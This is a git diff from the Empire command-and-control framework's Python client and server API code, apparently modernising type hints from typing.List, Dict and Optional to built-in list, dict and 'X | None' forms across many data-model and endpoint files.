index 56f81e767..32a044df7 100644 --- a/empire/client/src/ShortcutHandler.py +++ b/empire/client/src/ShortcutHandler.py @@ -1,6 +1,5 @@ import json import logging -from typing import Dict, List from empire.client.src.EmpireCliConfig import empire_config from empire.client.src.Shortcut import Shortcut @@ -15,10 +14,10 @@ class ShortcutHandler: def __init__(self): shortcuts_raw = empire_config.yaml.get("shortcuts", {}) - python: Dict[str, Shortcut] = {} - ironpython: Dict[str, Shortcut] = {} - powershell: Dict[str, Shortcut] = {} - csharp: Dict[str, Shortcut] = {} + python: dict[str, Shortcut] = {} + ironpython: dict[str, Shortcut] = {} + powershell: dict[str, Shortcut] = {} + csharp: dict[str, Shortcut] = {} for key, value in shortcuts_raw["python"].items(): try: value["name"] = key @@ -43,7 +42,7 @@ def __init__(self): csharp[key] = Shortcut.from_json(json.loads(json.dumps(value))) except TypeError: log.error(f"Could not parse shortcut: {key}") - self.shortcuts: Dict[str, Dict[str, Shortcut]] = { + self.shortcuts: dict[str, dict[str, Shortcut]] = { "python": python, "powershell": powershell, "ironpython": ironpython, @@ -53,7 +52,7 @@ def __init__(self): def get(self, language: str, name: str) -> Shortcut: return self.shortcuts.get(language, {}).get(name) - def get_names(self, language: str) -> List[str]: + def get_names(self, language: str) -> list[str]: return list(self.shortcuts.get(language, {}).keys()) diff --git a/empire/client/src/menus/InteractMenu.py b/empire/client/src/menus/InteractMenu.py index 3a161ffe4..e3421a1c0 100644 --- a/empire/client/src/menus/InteractMenu.py +++ b/empire/client/src/menus/InteractMenu.py @@ -3,7 +3,6 @@ import subprocess import textwrap import time -from typing import List from prompt_toolkit import HTML from prompt_toolkit.completion import Completion @@ -468,7 +467,7 @@ def view(self, task_id: str): for line in task["output"].split("\n"): print(print_util.color(line)) - def execute_shortcut(self, command_name: str, params: List[str]): + def execute_shortcut(self, command_name: str, params: list[str]): shortcut: Shortcut = shortcut_handler.get(self.agent_language, command_name) if not shortcut: diff --git a/empire/client/src/menus/ProxyMenu.py b/empire/client/src/menus/ProxyMenu.py index e47e82475..e70180838 100644 --- a/empire/client/src/menus/ProxyMenu.py +++ b/empire/client/src/menus/ProxyMenu.py @@ -1,5 +1,4 @@ import logging -from typing import List from prompt_toolkit.completion import Completion @@ -162,7 +161,7 @@ def list(self) -> None: table_util.print_table(proxies, "Active Proxies") - def suggested_values_for_option(self, option: str) -> List[str]: + def suggested_values_for_option(self, option: str): try: lower = {k.lower(): v for k, v in self.record_options.items()} return lower.get(option, {}).get("suggested_values", []) diff --git a/empire/client/src/menus/UseMenu.py b/empire/client/src/menus/UseMenu.py index 47bfe0b03..15d2bb7f3 100644 --- a/empire/client/src/menus/UseMenu.py +++ b/empire/client/src/menus/UseMenu.py @@ -1,5 +1,4 @@ import logging -from typing import List from prompt_toolkit import HTML from prompt_toolkit.completion import Completion @@ -241,7 +240,7 @@ def info(self): record_list, "Record Info", colored_header=False, borders=False ) - def suggested_values_for_option(self, option: str) -> List[str]: + def suggested_values_for_option(self, option: str) -> list[str]: try: lower = {k.lower(): v for k, v in self.record_options.items()} return lower.get(option, {}).get("suggested_values", []) diff --git a/empire/client/src/menus/UsePluginMenu.py b/empire/client/src/menus/UsePluginMenu.py index 628fecfca..8af245cae 100644 --- a/empire/client/src/menus/UsePluginMenu.py +++ b/empire/client/src/menus/UsePluginMenu.py @@ -1,5 +1,4 @@ import logging -from typing import Dict from prompt_toolkit.completion import Completion @@ -81,7 +80,7 @@ def execute(self): post_body["options"][key] = self.record_options[key]["value"] response = state.execute_plugin(self.record["id"], post_body) - if isinstance(response, Dict) and "detail" in response: + if isinstance(response, dict) and "detail" in response: print(print_util.color(response["detail"])) @command diff --git a/empire/client/src/utils/autocomplete_util.py b/empire/client/src/utils/autocomplete_util.py index f20d71fbe..89a11e6ac 100644 --- a/empire/client/src/utils/autocomplete_util.py +++ b/empire/client/src/utils/autocomplete_util.py @@ -1,8 +1,7 @@ import os -from typing import List -def filtered_search_list(search: str, keys) -> List[str]: +def filtered_search_list(search: str, keys) -> list[str]: """ Filters the search list by a search string :param search: the string prefix @@ -29,7 +28,7 @@ def where_am_i(cmd_line, word_before_cursor): def position_util( - cmd_line: List[str], word_position: int, word_before_cursor: str + cmd_line: list[str], word_position: int, word_before_cursor: str ) -> bool: """ Util method for autocompletion conditions. Makes autocomplete work well. diff --git a/empire/client/src/utils/table_util.py b/empire/client/src/utils/table_util.py index cba18869a..59f76936b 100644 --- a/empire/client/src/utils/table_util.py +++ b/empire/client/src/utils/table_util.py @@ -1,5 +1,4 @@ import logging -from typing import List from terminaltables import SingleTable @@ -10,7 +9,7 @@ def print_table( - data: List[List[str]] = None, + data: list[list[str]] = None, title: str = "", colored_header: bool = True, borders: bool = None, @@ -46,8 +45,8 @@ def print_table( def print_agent_table( - data: List[List[str]] = None, - formatting: List[List[str]] = None, + data: list[list[str]] = None, + formatting: list[list[str]] = None, title: str = "", borders: bool = None, ): diff --git a/empire/scripts/sync_starkiller.py b/empire/scripts/sync_starkiller.py index faa9f4e07..7275aed7b 100644 --- a/empire/scripts/sync_starkiller.py +++ b/empire/scripts/sync_starkiller.py @@ -1,7 +1,6 @@ import logging import subprocess from pathlib import Path -from typing import Dict log = logging.getLogger(__name__) @@ -26,7 +25,7 @@ def sync_starkiller(empire_config): ) -def _clone_starkiller(starkiller_config: Dict, starkiller_dir: str): +def _clone_starkiller(starkiller_config: dict, starkiller_dir: str): subprocess.run( ["git", "clone", starkiller_config["repo"], starkiller_dir], check=True, diff --git a/empire/server/api/api_router.py b/empire/server/api/api_router.py index 3d137452b..a15660376 100644 --- a/empire/server/api/api_router.py +++ b/empire/server/api/api_router.py @@ -1,4 +1,5 @@ -from typing import Any, Callable +from collections.abc import Callable +from typing import Any from fastapi import APIRouter as FastAPIRouter from fastapi.types import DecoratedCallable diff --git a/empire/server/api/jwt_auth.py b/empire/server/api/jwt_auth.py index bc0ba210a..b5dcb930d 100644 --- a/empire/server/api/jwt_auth.py +++ b/empire/server/api/jwt_auth.py @@ -1,5 +1,4 @@ from datetime import datetime, timedelta -from typing import Optional from fastapi import Depends, HTTPException from fastapi.security import OAuth2PasswordBearer @@ -27,7 +26,7 @@ class Token(BaseModel): class TokenData(BaseModel): - username: Optional[str] = None + username: str | None = None pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto") @@ -58,7 +57,7 @@ def authenticate_user(db: Session, username: str, password: str): return user -def create_access_token(data: dict, expires_delta: Optional[timedelta] = None): +def create_access_token(data: dict, expires_delta: timedelta | None = None): to_encode = data.copy() if expires_delta: expire = datetime.utcnow() + expires_delta diff --git a/empire/server/api/v2/agent/agent_api.py b/empire/server/api/v2/agent/agent_api.py index ec81a41df..05f664839 100644 --- a/empire/server/api/v2/agent/agent_api.py +++ b/empire/server/api/v2/agent/agent_api.py @@ -1,6 +1,5 @@ import math from datetime import datetime -from typing import List, Optional from fastapi import Depends, HTTPException, Query from sqlalchemy.orm import Session @@ -57,11 +56,11 @@ async def get_agent(uid: str, db: Session = Depends(get_db)): @router.get("/checkins", response_model=AgentCheckIns) def read_agent_checkins_all( db: Session = Depends(get_db), - agents: List[str] = Query(None), + agents: list[str] = Query(None), limit: int = 1000, page: int = 1, - start_date: Optional[datetime] = None, - end_date: Optional[datetime] = None, + start_date: datetime | None = None, + end_date: datetime | None = None, order_direction: OrderDirection = OrderDirection.desc, ): checkins, total = agent_service.get_agent_checkins( @@ -81,10 +80,10 @@ def read_agent_checkins_all( @router.get("/checkins/aggregate", response_model=AgentCheckInsAggregate) def read_agent_checkins_aggregate( db: Session = Depends(get_db), - agents: List[str] = Query(None), - start_date: Optional[datetime] = None, - end_date: Optional[datetime] = None, - bucket_size: Optional[AggregateBucket] = AggregateBucket.day, + agents: list[str] = Query(None), + start_date: datetime | None = None, + end_date: datetime | None = None, + bucket_size: AggregateBucket | None = AggregateBucket.day, ): if empire_config.database.use == "sqlite": raise HTTPException( @@ -147,8 +146,8 @@ def read_agent_checkins( db_agent: models.Agent = Depends(get_agent), limit: int = -1, page: int = 1, - start_date: Optional[datetime] = None, - end_date: Optional[datetime] = None, + start_date: datetime | None = None, + end_date: datetime | None = None, order_direction: OrderDirection = OrderDirection.desc, ): checkins, total = agent_service.get_agent_checkins( diff --git a/empire/server/api/v2/agent/agent_dto.py b/empire/server/api/v2/agent/agent_dto.py index 667cb14ee..10e9b7eb0 100644 --- a/empire/server/api/v2/agent/agent_dto.py +++ b/empire/server/api/v2/agent/agent_dto.py @@ -1,6 +1,5 @@ from datetime import datetime from enum import Enum -from typing import Dict, List, Optional from pydantic import BaseModel @@ -84,40 +83,40 @@ class Agent(BaseModel): name: str # listener_id: int listener: str - host_id: Optional[int] - hostname: Optional[str] - language: Optional[str] - language_version: Optional[str] + host_id: int | None + hostname: str | None + language: str | None + language_version: str | None delay: int jitter: float - external_ip: Optional[str] - internal_ip: Optional[str] - username: Optional[str] - high_integrity: Optional[bool] - process_id: Optional[int] - process_name: Optional[str] - os_details: Optional[str] + external_ip: str | None + internal_ip: str | None + username: str | None + high_integrity: bool | None + process_id: int | None + process_name: str | None + os_details: str | None nonce: str checkin_time: datetime lastseen_time: datetime - parent: Optional[str] - children: Optional[str] - servers: Optional[str] - profile: Optional[str] - functions: Optional[str] - kill_date: Optional[str] - working_hours: Optional[str] + parent: str | None + children: str | None + servers: str | None + profile: str | None + functions: str | None + kill_date: str | None + working_hours: str | None lost_limit: int - notes: Optional[str] - architecture: Optional[str] + notes: str | None + architecture: str | None archived: bool stale: bool - proxies: Optional[Dict] - tags: List[Tag] + proxies: dict | None + tags: list[Tag] class Agents(BaseModel): - records: List[Agent] + records: list[Agent] class AgentCheckIn(BaseModel): @@ -126,7 +125,7 @@ class AgentCheckIn(BaseModel): class AgentCheckIns(BaseModel): - records: List[AgentCheckIn] + records: list[AgentCheckIn] limit: int page: int total_pages: int @@ -139,9 +138,9 @@ class AgentCheckInAggregate(BaseModel): class AgentCheckInsAggregate(BaseModel): - records: List[AgentCheckInAggregate] - start_date: Optional[datetime] - end_date: Optional[datetime] + records: list[AgentCheckInAggregate] + start_date: datetime | None + end_date: datetime | None bucket_size: str @@ -154,4 +153,4 @@ class AggregateBucket(str, Enum): class AgentUpdateRequest(BaseModel): name: str - notes: Optional[str] + notes: str | None diff --git a/empire/server/api/v2/agent/agent_file_api.py b/empire/server/api/v2/agent/agent_file_api.py index 29928f7b5..de4532294 100644 --- a/empire/server/api/v2/agent/agent_file_api.py +++ b/empire/server/api/v2/agent/agent_file_api.py @@ -1,5 +1,3 @@ -from typing import List, Optional, Tuple - from fastapi import Depends, HTTPException from sqlalchemy.orm import Session @@ -69,9 +67,7 @@ async def read_file_root( async def read_file( uid: int, db_agent: models.Agent = Depends(get_agent), - db_file: Optional[Tuple[models.AgentFile, List[models.AgentFile]]] = Depends( - get_file - ), + db_file: tuple[models.AgentFile, list[models.AgentFile]] | None = Depends(get_file), ): if db_file: return domain_to_dto_file(*db_file) diff --git a/empire/server/api/v2/agent/agent_file_dto.py b/empire/server/api/v2/agent/agent_file_dto.py index ed65dd822..637da58c9 100644 --- a/empire/server/api/v2/agent/agent_file_dto.py +++ b/empire/server/api/v2/agent/agent_file_dto.py @@ -2,8 +2,6 @@ # https://pydantic-docs.helpmanual.io/usage/postponed_annotations/#self-referencing-models from __future__ import annotations -from typing import List, Optional - from pydantic import BaseModel from empire.server.api.v2.shared_dto import ( @@ -13,7 +11,7 @@ from empire.server.core.db import models -def domain_to_dto_file(file: models.AgentFile, children: List[models.AgentFile]): +def domain_to_dto_file(file: models.AgentFile, children: list[models.AgentFile]): return AgentFile( id=file.id, session_id=file.session_id, @@ -34,9 +32,9 @@ class AgentFile(BaseModel): name: str path: str is_file: bool - parent_id: Optional[int] - downloads: List[DownloadDescription] - children: List[AgentFile] = [] + parent_id: int | None + downloads: list[DownloadDescription] + children: list[AgentFile] = [] class Config: orm_mode = True diff --git a/empire/server/api/v2/agent/agent_task_api.py b/empire/server/api/v2/agent/agent_task_api.py index 9dfa90693..3857d40c2 100644 --- a/empire/server/api/v2/agent/agent_task_api.py +++ b/empire/server/api/v2/agent/agent_task_api.py @@ -1,7 +1,6 @@ import base64 import math from datetime import datetime -from typing import List, Optional from fastapi import Depends, File, HTTPException, Query, UploadFile from sqlalchemy.orm import Session @@ -95,14 +94,14 @@ async def read_tasks_all_agents( include_full_input: bool = False, include_original_output: bool = False, include_output: bool = True, - since: Optional[datetime] = None, + since: datetime | None = None, order_by: AgentTaskOrderOptions = AgentTaskOrderOptions.id, order_direction: OrderDirection = OrderDirection.desc, - status: Optional[AgentTaskStatus] = None, - agents: Optional[List[str]] = Query(None), - users: Optional[List[int]] = Query(None), - tags: Optional[List[TagStr]] = Query(None), - query: Optional[str] = None, + status: AgentTaskStatus | None = None, + agents: list[str] | None = Query(None), + users: list[int] | None = Query(None), + tags: list[TagStr] | None = Query(None), + query: str | None = None, db: Session = Depends(get_db), ): tasks, total = agent_task_service.get_tasks( @@ -147,15 +146,15 @@ async def read_tasks( include_full_input: bool = False, include_original_output: bool = False, include_output: bool = True, - since: Optional[datetime] = None, + since: datetime | None = None, order_by: AgentTaskOrderOptions = AgentTaskOrderOptions.id, order_direction: OrderDirection = OrderDirection.desc, - status: Optional[AgentTaskStatus] = None, - users: Optional[List[int]] = Query(None), - tags: Optional[List[TagStr]] = Query(None), + status: AgentTaskStatus | None = None, + users: list[int] | None = Query(None), + tags: list[TagStr] | None = Query(None), db: Session = Depends(get_db), db_agent: models.Agent = Depends(get_agent), - query: Optional[str] = None, + query: str | None = None, ): tasks, total = agent_task_service.get_tasks( db, diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py index 7500ef414..2634ac7b9 100644 --- a/empire/server/api/v2/agent/agent_task_dto.py +++ b/empire/server/api/v2/agent/agent_task_dto.py @@ -1,6 +1,5 @@ from datetime import datetime from enum import Enum -from typing import Dict, List, Optional, Union from pydantic import BaseModel, Field @@ -49,23 +48,23 @@ def domain_to_dto_task( class AgentTask(BaseModel): id: int input: str - full_input: Optional[str] - output: Optional[str] - original_output: Optional[str] - user_id: Optional[int] - username: Optional[str] + full_input: str | None + output: str | None + original_output: str | None + user_id: int | None + username: str | None agent_id: str - downloads: List[DownloadDescription] - module_name: Optional[str] - task_name: Optional[str] + downloads: list[DownloadDescription] + module_name: str | None + task_name: str | None status: models.AgentTaskStatus created_at: datetime updated_at: datetime - tags: List[Tag] + tags: list[Tag] class AgentTasks(BaseModel): - records: List[AgentTask] + records: list[AgentTask] limit: int page: int total_pages: int @@ -81,8 +80,8 @@ class ModulePostRequest(BaseModel): module_id: str ignore_language_version_check: bool = False ignore_admin_check: bool = False - options: Dict[str, Union[str, int, float]] - modified_input: Optional[str] = None + options: dict[str, str | int | float] + modified_input: str | None = None class DownloadPostRequest(BaseModel): @@ -143,7 +142,7 @@ class ProxyItem(BaseModel): class ProxyListPostRequest(BaseModel): - proxies: List[ProxyItem] + proxies: list[ProxyItem] class ExitPostRequest(BaseModel): diff --git a/empire/server/api/v2/bypass/bypass_dto.py b/empire/server/api/v2/bypass/bypass_dto.py index 95f4bc69f..440128b42 100644 --- a/empire/server/api/v2/bypass/bypass_dto.py +++ b/empire/server/api/v2/bypass/bypass_dto.py @@ -1,5 +1,4 @@ from datetime import datetime -from typing import List from pydantic import BaseModel @@ -21,7 +20,7 @@ def domain_to_dto_bypass(bypass): class Bypass(BaseModel): id: int name: str - authors: List[Author] + authors: list[Author] language: str code: str created_at: datetime @@ -29,7 +28,7 @@ class Bypass(BaseModel): class Bypasses(BaseModel): - records: List[Bypass] + records: list[Bypass] class BypassUpdateRequest(BaseModel): diff --git a/empire/server/api/v2/credential/credential_api.py b/empire/server/api/v2/credential/credential_api.py index 770d4c1f8..328f3b5e2 100644 --- a/empire/server/api/v2/credential/credential_api.py +++ b/empire/server/api/v2/credential/credential_api.py @@ -1,5 +1,3 @@ -from typing import Optional - from fastapi import Depends, HTTPException from sqlalchemy.orm import Session from starlette.responses import Response @@ -55,8 +53,8 @@ async def read_credential( @router.get("/", response_model=Credentials) async def read_credentials( db: Session = Depends(get_db), - search: Optional[str] = None, - credtype: Optional[str] = None, + search: str | None = None, + credtype: str | None = None, ): credentials = list( map( diff --git a/empire/server/api/v2/credential/credential_dto.py b/empire/server/api/v2/credential/credential_dto.py index 598d8c5f2..f35c71724 100644 --- a/empire/server/api/v2/credential/credential_dto.py +++ b/empire/server/api/v2/credential/credential_dto.py @@ -1,5 +1,4 @@ from datetime import datetime -from typing import List, Optional from pydantic import BaseModel @@ -30,16 +29,16 @@ class Credential(BaseModel): username: str password: str host: str - os: Optional[str] - sid: Optional[str] - notes: Optional[str] + os: str | None + sid: str | None + notes: str | None created_at: datetime updated_at: datetime - tags: List[Tag] + tags: list[Tag] class Credentials(BaseModel): - records: List[Credential] + records: list[Credential] class CredentialUpdateRequest(BaseModel): @@ -51,9 +50,9 @@ class CredentialUpdateRequest(BaseModel): os: str sid: str notes: str - os: Optional[str] - sid: Optional[str] - notes: Optional[str] + os: str | None + sid: str | None + notes: str | None class CredentialPostRequest(BaseModel): @@ -62,6 +61,6 @@ class CredentialPostRequest(BaseModel): username: str password: str host: str - os: Optional[str] - sid: Optional[str] - notes: Optional[str] + os: str | None + sid: str | None + notes: str | None diff --git a/empire/server/api/v2/download/download_api.py b/empire/server/api/v2/download/download_api.py index a6ff1045f..8638db06e 100644 --- a/empire/server/api/v2/download/download_api.py +++ b/empire/server/api/v2/download/download_api.py @@ -1,5 +1,4 @@ import math -from typing import List, Optional from fastapi import Depends, File, HTTPException, Query, UploadFile from sqlalchemy.orm import Session @@ -83,9 +82,9 @@ async def read_downloads( page: int = 1, order_direction: OrderDirection = OrderDirection.desc, order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at, - query: Optional[str] = None, - sources: Optional[List[DownloadSourceFilter]] = Query(None), - tags: Optional[List[TagStr]] = Query(None), + query: str | None = None, + sources: list[DownloadSourceFilter] | None = Query(None), + tags: list[TagStr] | None = Query(None), ): downloads, total = download_service.get_all( db=db, diff --git a/empire/server/api/v2/download/download_dto.py b/empire/server/api/v2/download/download_dto.py index ad2156156..3c6b0b8f4 100644 --- a/empire/server/api/v2/download/download_dto.py +++ b/empire/server/api/v2/download/download_dto.py @@ -1,6 +1,5 @@ from datetime import datetime from enum import Enum -from typing import List from pydantic import BaseModel @@ -43,11 +42,11 @@ class Download(BaseModel): size: int created_at: datetime updated_at: datetime - tags: List[Tag] + tags: list[Tag] class Downloads(BaseModel): - records: List[Download] + records: list[Download] limit: int page: int total_pages: int diff --git a/empire/server/api/v2/host/host_dto.py b/empire/server/api/v2/host/host_dto.py index cfeca87ad..481e1f5a7 100644 --- a/empire/server/api/v2/host/host_dto.py +++ b/empire/server/api/v2/host/host_dto.py @@ -1,5 +1,3 @@ -from typing import List - from pydantic import BaseModel @@ -18,4 +16,4 @@ class Host(BaseModel): class Hosts(BaseModel): - records: List[Host] + records: list[Host] diff --git a/empire/server/api/v2/host/process_dto.py b/empire/server/api/v2/host/process_dto.py index a484865d1..c07face5f 100644 --- a/empire/server/api/v2/host/process_dto.py +++ b/empire/server/api/v2/host/process_dto.py @@ -1,5 +1,3 @@ -from typing import List, Optional - from pydantic import BaseModel from empire.server.core.db import models @@ -26,11 +24,11 @@ class Process(BaseModel): process_id: int process_name: str host_id: int - architecture: Optional[str] - user: Optional[str] + architecture: str | None + user: str | None stale: bool - agent_id: Optional[str] + agent_id: str | None class Processes(BaseModel): - records: List[Process] + records: list[Process] diff --git a/empire/server/api/v2/listener/listener_dto.py b/empire/server/api/v2/listener/listener_dto.py index be1ada240..7eafcdf85 100644 --- a/empire/server/api/v2/listener/listener_dto.py +++ b/empire/server/api/v2/listener/listener_dto.py @@ -1,5 +1,4 @@ from datetime import datetime -from typing import Dict, List, Optional from pydantic import BaseModel @@ -67,14 +66,14 @@ def domain_to_dto_listener(listener): class ListenerTemplate(BaseModel): id: str name: str - authors: List[Author] + authors: list[Author] description: str category: str - comments: List[str] - tactics: List[str] - techniques: List[str] - software: Optional[str] - options: Dict[str, CustomOptionSchema] + comments: list[str] + tactics: list[str] + techniques: list[str] + software: str | None + options: dict[str, CustomOptionSchema] class Config: schema_extra = { @@ -241,7 +240,7 @@ class Config: class ListenerTemplates(BaseModel): - records: List[ListenerTemplate] + records: list[ListenerTemplate] class Listener(BaseModel): @@ -249,19 +248,19 @@ class Listener(BaseModel): name: str enabled: bool template: str - options: Dict[str, str] + options: dict[str, str] created_at: datetime - tags: List[Tag] + tags: list[Tag] class Listeners(BaseModel): - records: List[Listener] + records: list[Listener] class ListenerPostRequest(BaseModel): name: str template: str - options: Dict[str, str] + options: dict[str, str] class Config: schema_extra = { @@ -300,7 +299,7 @@ class Config: class ListenerUpdateRequest(BaseModel): name: str enabled: bool - options: Dict[str, str] + options: dict[str, str] def __iter__(self): return iter(self.__root__) diff --git a/empire/server/api/v2/module/module_dto.py b/empire/server/api/v2/module/module_dto.py index 50126f95b..532891c2d 100644 --- a/empire/server/api/v2/module/module_dto.py +++ b/empire/server/api/v2/module/module_dto.py @@ -1,5 +1,3 @@ -from typing import Dict, List, Optional - from pydantic import BaseModel from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type @@ -49,22 +47,22 @@ class Module(BaseModel): id: str name: str enabled: bool - authors: List[Author] + authors: list[Author] description: str background: bool language: LanguageEnum - min_language_version: Optional[str] + min_language_version: str | None needs_admin: bool opsec_safe: bool - techniques: List[str] - tactics: List[str] - software: Optional[str] - comments: List[str] - options: Dict[str, CustomOptionSchema] + techniques: list[str] + tactics: list[str] + software: str | None + comments: list[str] + options: dict[str, CustomOptionSchema] class Modules(BaseModel): - records: List[Module] + records: list[Module] class ModuleScript(BaseModel): @@ -77,5 +75,5 @@ class ModuleUpdateRequest(BaseModel): class ModuleBulkUpdateRequest(BaseModel): - modules: List[str] + modules: list[str] enabled: bool diff --git a/empire/server/api/v2/obfuscation/obfuscation_dto.py b/empire/server/api/v2/obfuscation/obfuscation_dto.py index 78549cc51..179854105 100644 --- a/empire/server/api/v2/obfuscation/obfuscation_dto.py +++ b/empire/server/api/v2/obfuscation/obfuscation_dto.py @@ -1,5 +1,4 @@ from datetime import datetime -from typing import List from pydantic import BaseModel, Field @@ -18,7 +17,7 @@ class Config: class Keywords(BaseModel): - records: List[Keyword] + records: list[Keyword] class KeywordUpdateRequest(BaseModel): @@ -53,7 +52,7 @@ class Config: class ObfuscationConfigs(BaseModel): - records: List[ObfuscationConfig] + records: list[ObfuscationConfig] class ObfuscationConfigUpdateRequest(BaseModel): diff --git a/empire/server/api/v2/plugin/plugin_dto.py b/empire/server/api/v2/plugin/plugin_dto.py index 8f468db8b..174693c01 100644 --- a/empire/server/api/v2/plugin/plugin_dto.py +++ b/empire/server/api/v2/plugin/plugin_dto.py @@ -1,5 +1,3 @@ -from typing import Dict, List, Optional - from pydantic import BaseModel from empire.server.api.v2.shared_dto import Author, CustomOptionSchema, to_value_type @@ -51,20 +49,20 @@ def domain_to_dto_plugin(plugin: Plugin, uid: str): class Plugin(BaseModel): id: str name: str - authors: List[Author] + authors: list[Author] description: str - techniques: List[str] = [] - software: Optional[str] - comments: List[str] - options: Dict[str, CustomOptionSchema] + techniques: list[str] = [] + software: str | None + comments: list[str] + options: dict[str, CustomOptionSchema] class Plugins(BaseModel): - records: List[Plugin] + records: list[Plugin] class PluginExecutePostRequest(BaseModel): - options: Dict[str, str] + options: dict[str, str] class PluginExecuteResponse(BaseModel): diff --git a/empire/server/api/v2/plugin/plugin_task_api.py b/empire/server/api/v2/plugin/plugin_task_api.py index f01924ac2..c6e5cefa0 100644 --- a/empire/server/api/v2/plugin/plugin_task_api.py +++ b/empire/server/api/v2/plugin/plugin_task_api.py @@ -1,6 +1,5 @@ import math from datetime import datetime -from typing import List, Optional from fastapi import Depends, HTTPException, Query from sqlalchemy.orm import Session @@ -70,14 +69,14 @@ async def read_tasks_all_plugins( page: int = 1, include_full_input: bool = False, include_output: bool = True, - since: Optional[datetime] = None, + since: datetime | None = None, order_by: PluginTaskOrderOptions = PluginTaskOrderOptions.id, order_direction: OrderDirection = OrderDirection.desc, - status: Optional[PluginTaskStatus] = None, - plugins: Optional[List[str]] = Query(None), - users: Optional[List[int]] = Query(None), - tags: Optional[List[TagStr]] = Query(None), - query: Optional[str] = None, + status: PluginTaskStatus | None = None, + plugins: list[str] | None = Query(None), + users: list[int] | None = Query(None), + tags: list[TagStr] | None = Query(None), + query: str | None = None, db: Session = Depends(get_db), ): tasks, total = plugin_service.get_tasks( @@ -118,15 +117,15 @@ async def read_tasks( page: int = 1, include_full_input: bool = False, include_output: bool = True, - since: Optional[datetime] = None, + since: datetime | None = None, order_by: PluginTaskOrderOptions = PluginTaskOrderOptions.id, order_direction: OrderDirection = OrderDirection.desc, - status: Optional[PluginTaskStatus] = None, - users: Optional[List[int]] = Query(None), - tags: Optional[List[TagStr]] = Query(None), + status: PluginTaskStatus | None = None, + users: list[int] | None = Query(None), + tags: list[TagStr] | None = Query(None), db: Session = Depends(get_db), plugin=Depends(get_plugin), - query: Optional[str] = None, + query: str | None = None, ): tasks, total = plugin_service.get_tasks( db, diff --git a/empire/server/api/v2/plugin/plugin_task_dto.py b/empire/server/api/v2/plugin/plugin_task_dto.py index 16b9941dc..5cd341461 100644 --- a/empire/server/api/v2/plugin/plugin_task_dto.py +++ b/empire/server/api/v2/plugin/plugin_task_dto.py @@ -1,6 +1,5 @@ from datetime import datetime from enum import Enum -from typing import List, Optional from pydantic import BaseModel @@ -45,20 +44,20 @@ def domain_to_dto_plugin_task( class PluginTask(BaseModel): id: int input: str - full_input: Optional[str] - output: Optional[str] - user_id: Optional[int] - username: Optional[str] + full_input: str | None + output: str | None + user_id: int | None + username: str | None plugin_id: str - downloads: List[DownloadDescription] - status: Optional[models.PluginTaskStatus] + downloads: list[DownloadDescription] + status: models.PluginTaskStatus | None created_at: datetime updated_at: datetime - tags: List[Tag] + tags: list[Tag] class PluginTasks(BaseModel): - records: List[PluginTask] + records: list[PluginTask] limit: int page: int total_pages: int diff --git a/empire/server/api/v2/profile/profile_dto.py b/empire/server/api/v2/profile/profile_dto.py index 359a9f52f..c5ff96e1f 100644 --- a/empire/server/api/v2/profile/profile_dto.py +++ b/empire/server/api/v2/profile/profile_dto.py @@ -1,5 +1,4 @@ from datetime import datetime -from typing import List, Optional from pydantic import BaseModel @@ -7,7 +6,7 @@ class Profile(BaseModel): id: int name: str - file_path: Optional[str] # todo vr needed? + file_path: str | None # todo vr needed? category: str data: str created_at: datetime @@ -18,7 +17,7 @@ class Config: class Profiles(BaseModel): - records: List[Profile] + records: list[Profile] # name can't be modified atm because of the way name is inferred from the file name. diff --git a/empire/server/api/v2/shared_dto.py b/empire/server/api/v2/shared_dto.py index 9d527f508..c43185688 100644 --- a/empire/server/api/v2/shared_dto.py +++ b/empire/server/api/v2/shared_dto.py @@ -1,5 +1,5 @@ from enum import Enum -from typing import Any, List, Optional +from typing import Any from pydantic import BaseModel @@ -26,7 +26,7 @@ class CustomOptionSchema(BaseModel): description: str required: bool value: str - suggested_values: List[str] + suggested_values: list[str] strict: bool value_type: ValueType @@ -46,9 +46,9 @@ class Config: class Author(BaseModel): - name: Optional[str] - handle: Optional[str] - link: Optional[str] + name: str | None + handle: str | None + link: str | None def domain_to_dto_download_description(download: models.Download): diff --git a/empire/server/api/v2/stager/stager_dto.py b/empire/server/api/v2/stager/stager_dto.py index 6053fc703..2e776550a 100644 --- a/empire/server/api/v2/stager/stager_dto.py +++ b/empire/server/api/v2/stager/stager_dto.py @@ -1,5 +1,4 @@ from datetime import datetime -from typing import Dict, List, Optional from pydantic import BaseModel @@ -71,10 +70,10 @@ def domain_to_dto_stager(stager: models.Stager): class StagerTemplate(BaseModel): id: str name: str - authors: List[Author] + authors: list[Author] description: str - comments: List[str] - options: Dict[str, CustomOptionSchema] + comments: list[str] + options: dict[str, CustomOptionSchema] class Config: schema_extra = { @@ -175,7 +174,7 @@ class Config: class StagerTemplates(BaseModel): - records: List[StagerTemplate] + records: list[StagerTemplate] class Stager(BaseModel): @@ -183,23 +182,21 @@ class Stager(BaseModel): name: str template: str one_liner: bool - downloads: List[DownloadDescription] - options: Dict[str, str] + downloads: list[DownloadDescription] + options: dict[str, str] user_id: int - created_at: Optional[ - datetime - ] # optional because if its not saved yet, it will be None - updated_at: Optional[datetime] + created_at: datetime | None # optional because if its not saved yet, it will be None + updated_at: datetime | None class Stagers(BaseModel): - records: List[Stager] + records: list[Stager] class StagerPostRequest(BaseModel): name: str template: str - options: Dict[str, str] + options: dict[str, str] class Config: schema_extra = { @@ -226,7 +223,7 @@ class Config: class StagerUpdateRequest(BaseModel): name: str - options: Dict[str, str] + options: dict[str, str] def __iter__(self): return iter(self.__root__) diff --git a/empire/server/api/v2/tag/tag_api.py b/empire/server/api/v2/tag/tag_api.py index 8ea1071fd..9597fbd5d 100644 --- a/empire/server/api/v2/tag/tag_api.py +++ b/empire/server/api/v2/tag/tag_api.py @@ -1,5 +1,4 @@ import math -from typing import List, Optional, Union from fastapi import Depends, HTTPException, Query from sqlalchemy.orm import Session @@ -45,8 +44,8 @@ async def get_tags( page: int = 1, order_direction: OrderDirection = OrderDirection.asc, order_by: TagOrderOptions = TagOrderOptions.updated_at, - query: Optional[str] = None, - sources: Optional[List[TagSourceFilter]] = Query(None), + query: str | None = None, + sources: list[TagSourceFilter] | None = Query(None), ): tags, total = tag_service.get_all( db=db, @@ -79,7 +78,7 @@ async def get_tag(tag_id: int, db: Session = Depends(get_db)): raise HTTPException(404, f"Tag not found for id {tag_id}") async def add_tag( - uid: Union[int, str], + uid: int | str, 